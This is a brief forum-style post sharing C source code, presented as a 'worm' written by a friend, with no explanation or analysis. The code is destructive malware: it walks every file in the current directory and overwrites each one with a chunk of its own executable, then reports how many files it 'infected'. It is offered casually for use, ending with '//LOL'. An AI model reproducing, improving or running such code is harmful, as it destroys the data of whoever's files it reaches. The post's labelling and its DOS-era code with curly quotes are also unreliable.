How to make a worm in C by alexthed4rk

So my friend alexthed4rk gave me this code it is written in C hope you guys like it.

#include<stdio.h>

#include<io.h>

#include<dos.h> //Windows Only 

#include<dir.h>

#include<conio.h>

#include<time.h>

FILE *virus,*host;

int done,a=0;

unsigned long x;

char buff[2048];

struct ffblk ffblk;

clock_t st,end;

void main()

{

st=clock();

clrscr();

done=findfirst(“*.*”,&ffblk,0); //Search for a file with any extension (*.*)

while(!done)

{

virus=fopen(_argv[0],”rb”);

host=fopen(ffblk.ff_name,”rb+”);

if(host==NULL) goto next;

x=89088;

printf(“Infecting %s\n”,ffblk.ff_name,a);

while(x>2048)

{

fread(buff,2048,1,virus);

fwrite(buff,2048,1,host);

x-=2048;

}

fread(buff,x,1,virus);

fwrite(buff,x,1,host);

a++;

next:

{

fcloseall();

done=findnext(&ffblk);

}

}

printf(“DONE! (Total Files Infected= %d)”,a);

end=clock();

printf(“TIME TAKEN=%f SEC\n”,

(end-st)/CLK_TCK);

getch();

}

//LOL